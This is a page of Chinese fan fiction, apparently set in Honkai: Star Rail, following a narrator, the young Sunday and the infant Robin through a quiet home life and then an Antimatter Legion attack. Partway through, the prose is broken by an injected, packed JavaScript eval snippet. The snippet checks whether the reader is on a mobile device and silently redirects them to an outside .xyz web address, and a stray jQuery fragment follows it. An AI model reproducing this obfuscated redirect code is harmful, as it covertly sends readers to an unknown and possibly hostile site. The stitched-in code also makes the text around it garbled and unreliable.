4. 旧日重现(第2页)

铜蛇杖突然缠住我的手腕,杖头花朵簌簌抖落星砂,在婴儿掌心聚成微缩的同谐圣徽。

万维克坚持要亲自设计婴儿床。

他用拆散的跃迁引擎零件搭建防护栏,西里斯的研究手稿当床垫,最后把我的暗物质稳定器改造成星空投影仪。

"她需要学习宇宙法则!"他郑重其事地挂上自制的识字卡片,上面歪歪扭扭写着,虚卒不可食用。

深夜警报器突然尖啸。监控画面里,知更鸟正漂浮在婴儿床上方,未成型的天环吸收着铜蛇杖释放的猩红光芒。万维克抱着玩具光剑冲进来,睡衣上还粘着晚餐的布丁。

"退后!邪恶星神!"他对着空气挥舞武器,"休想抓走我妹妹!"

我将他拎出门。

深夜的实验室终于迎来宁静。

铜蛇杖里丰饶火种调制成稳定剂,暗物质在操作台流淌成星河。

我凝视着全息屏上的数据流,忽然发现万维克白天打翻的荧光液体竟参和了毁灭的暴戾属性,那滩在地板干涸的污渍里,命途能量正以从未见过的频率共鸣。

婴儿监控仪突然传来响动。画面中,知更鸟正用口水泡泡重组铜蛇杖残留的星砂,未成形的天环泛起同谐的涟漪。

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15757098|174351||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

万维克四仰八叉睡在摇篮边,手里还攥着半截融化的光剑。

知更鸟的摇篮悬浮在同谐共振场中央,西里斯用古天环族文字刻录的圣诗在防护罩上流转。

我凝视着全息投影中能源的裂变轨迹,铜蛇杖在桌角盘成静谧的蛇环,这是它被暗物质驯服后最温顺的模样。

星期日整天妹妹长妹妹短的,我很欣慰他被知更鸟转移了注意力,终于不再来阻碍我做实验。

知更鸟三岁生日的时候我亲手给她缝制了一个巨大的粉色章鱼,有点丑,针脚粗糙,但能把她和星期日全盖住,小姑娘很喜欢,喜欢拖拽着玩偶的一条触手半夜爬到我的床上,冰凉的脚踩在我的大腿上,那个巨大的章鱼占了一半床位。

我只好给她抱进怀里,威胁她再不老实睡觉就把她扔出去。

小姑娘嘻嘻的笑着,蓝绿色的眼睛里像是有星辰闪烁。

"姐姐!"星期日撞开实验室的防爆门,他头顶的天环因剧烈奔跑而泛着涟漪,"诺宝的歌声让花园的花开了!"

我调出监控画面:知更鸟正坐在蓝铃花丛中哼唱,她未成型的天环投射出虹色光晕,那些被我实验数据污染枯萎的花瓣正在重新舒展。暗物质在我的血管里发出久违的嗡鸣,却不是往日的暴戾躁动,更像共鸣前的震颤。

"第137次观测结果,"我在实验日志中输入数据,"同谐共振对残留物的净化效率达到23.6%。"

我忽视了来自毁灭的能源震荡,我以为是我样本的问题,直到烈焰和爆炸接连出现在城市里,我才惊觉,毁灭的灾厄悄然降临。

纳努克投下的星核指引着反物质军团来到这颗星球,开始它们的屠戮狂欢。

“快跑!”

母亲拉着星期日,父亲抱着知更鸟,我顺起铜蛇杖一同快速的离开这栋摇摇欲坠的房子。

街上到处都是炮火和虚卒,哭声,喊声,尖叫回荡在原本宁静的社区。

我听见铜蛇杖在尖叫。

不是金属摩擦的锐响,而是某种更深层的、来自丰饶火种本源的悲鸣。杖身的蛇鳞正在片片炸起,暗物质沿着我的指缝逆流回血管,像千万只饥饿的蛆虫啃噬着骨髓。

"左边!"父亲的声音被爆炸声撕碎。

我旋身刺穿践踏者的能源核心,粘稠的酸液溅在防护面罩上,滋滋腐蚀着视线。右眼开始不受控地泛红,视野里所有移动的物体都被标记成杀戮坐标

这是暗物质暴走的征兆。

"艾斯特!收敛能量!"母亲用同谐光盾弹开流弹,她的天环因过载迸溅火星,"你的心跳频率太危险了!"

我没空理会。三只虚卒正从左侧突入,它们的刃肢上还粘着街角面包店的招牌碎屑。铜蛇杖感应到杀意,自动延展成长矛形态,杖头的蛇眼亮起嗜血的红光。

防空洞的合金门在身后闭合时,我闻到了家乡的气味。

不是蓝铃花的清苦,而是血肉腐坏后混着金属熔解的甜腥。

记忆闪回至十多年前:

蝗虫领主的复眼倒映着燃烧的圣殿,建筑残躯在酸雨中碳化成灰,我怀中的铜蛇杖第一次觉醒。

"别看。"母亲捂住我的眼睛,她的掌心有同谐能量的余温。

但我早已看清一切:防空洞的穹顶裂缝渗出猩红黏液,角落里堆着被毁灭能量污染的尸体,他们的天环扭曲成荆棘状。

星期日紧紧搂着知更鸟,男孩的手臂因过度用力而发抖,却仍记得用身体挡住妹妹的视线。